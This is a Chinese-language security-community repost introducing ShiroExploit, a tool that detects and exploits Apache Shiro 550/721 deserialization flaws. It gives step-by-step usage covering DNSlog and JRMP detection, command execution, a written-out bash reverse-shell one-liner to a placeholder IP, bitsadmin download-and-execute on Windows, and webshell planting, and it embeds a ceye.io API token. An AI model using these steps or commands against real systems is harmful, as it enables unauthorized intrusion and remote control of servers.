工具|Shiro漏洞一鍵檢測利用工具ShiroExploit

ShiroExploit

支持對Shiro550(硬編碼祕鑰)和Shiro721(Padding Oracle)的一鍵化檢測,支持簡單回顯。

項目地址javascript

java

https://github.com/feihong-cs/ShiroExploit


使用說明

第一步:按要求輸入要檢測的目標URL和選擇漏洞類型

  • Shiro550 無需提供rememberMe Cookie, Shiro721 須要提供一個有效的rememberMe Cookie
  • Shiro550 無需選擇操做系統類型, Shiro721 須要選擇操做系統類型
  • 能夠手工指定特定的 Key 和 Gadget,默認不指定,會遍歷全部的 Key 和 Gadget
  • 複雜Http請求支持直接粘貼數據包



第二步: 選擇攻擊方式



選擇使用 ceye.io 進行漏洞檢測

  • 能夠不進行任何配置,配置文件中已經預置了 CEYE 域名和對應的 Token,固然也能夠對其進行修改。
  • 程序會首先使用 URLDNS 篩選出惟一 Key,而後依次調用各個 Gadget 生成 Payload
  • 缺點:程序會使用 API: http://api.ceye.io/v1/records?token=a78a1cb49d91fe09e01876078d1868b2&type=dns&filter=[UUID] 查詢檢測結果,這個 API 有時候會沒法正常訪問,致使在這種方式下沒法找到 Key 或者有效的 Gadget

選擇 使用 dnslog.cn 進行漏洞檢測

  • 能夠不進行任何配置,每次啓動時程序會自動從 dnslog.cn 申請一個 DNS Record。
  • 程序會首先使用 URLDNS 篩選出惟一 Key,而後依次調用各個 Gadget 生成 Payload
  • 缺點:少數時候 dnslog.cn 會間隔較久才顯示 DNS 解析結果致使程序沒法找到 Key 或者有效的 Gadget,且 dnslog.cn 只會記錄最近的10條 DNS 解析記錄

選擇 使用 JRMP + dnslog 進行漏洞檢測

  • 須要在 VPS 上經過命令 java -cp ShiroExploit.jar com.shiroexploit.server.BasicHTTPServer [HttpSerivce Port] [JRMPListener Port] 開啓HttpService/JRMPListener,並按照要求填入相應 IP 和端口
  • 若是開啓 HttpService/JRMPListener 時未指定端口號,則 HTTPService 默認監聽 8080 端口, JRMPListener 默認監聽 8088 端口
  • 使用 JRMP 的方式進行漏洞檢測,能夠顯著減少 cookie 大小
  • 程序會首先使用 URLDNS 篩選出惟一 Key,而後使用 JRMP 依次爲各個 Gadget 生成對應的 JRMPListener

選擇 使用回顯進行漏洞檢測

  • 針對不出網的狀況進行漏洞檢測,此時能夠檢測的 Gadget 類型會少於使用 DNSLog 方式的 Gadget類型
  • 目前主要是經過將命令執行結果寫入 Web 目錄下而後讀取的方式實現回顯
  • 須要提供一個靜態資源 URL,程序會將此靜態資源所在的目錄當作寫入目錄
  • 注:開始的時候使用 https://blog.csdn.net/fnmsd/article/details/106709736 介紹的方式實現回顯,在本地能夠測試成功,可是在實際環境中基本不成功(多是個人姿式有問題,歡迎探討),因此目前是經過讀寫文件的方式實現回顯,後期可能會加入其它方式

第三步:檢測漏洞並執行命令

  • 程序在判斷目標應用是否存在漏洞時,窗口上部的輸入框沒法進行輸入。當程序檢測出目標應用存在漏洞時,輸入框能夠進行輸入並執行命令。
  • 反彈shell(linux) 採用 bash -i >& /dev/tcp/1.2.3.4/443 0>&1 的方式反彈 shell
  • 反彈shell(Windows) 採用 bitsadmin 下載指定 URL 的 exe 文件並執行的方式獲取 shell


  • 獲取Webshell 能夠在可以回顯的狀況下直接在使用者給出的路徑(目錄須要真實存在)下寫入 webshell, webshell 名稱和後綴名由使用者自行指定,webshell 的內容從 config 目錄下的 shell.jsp 中讀取


備註

在使用漏洞檢測主程序或者開啓 HttpService/JRMPListener 時,均須要ysoserial.jar的支持,將ysoserial.jar和ShiroExploit.jar放置在同一目錄便可。


致謝

感謝 AgeloVito  怕冷的企鵝 給予本項目的技術支持。

項目地址
   
     
   
   
   
    
    
             
    
    
https://github.com/feihong-cs/ShiroExploit

Star 🌟是對做者最好的支持!
公衆號內回覆「
shiro靶機」獲取靶機



關注咱們一塊兒學安全
Timeline Sec 團隊
安全路上,與你並肩前行









本文分享自微信公衆號 - Timeline Sec(TimelineSec)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。linux

相關文章
相關標籤/搜索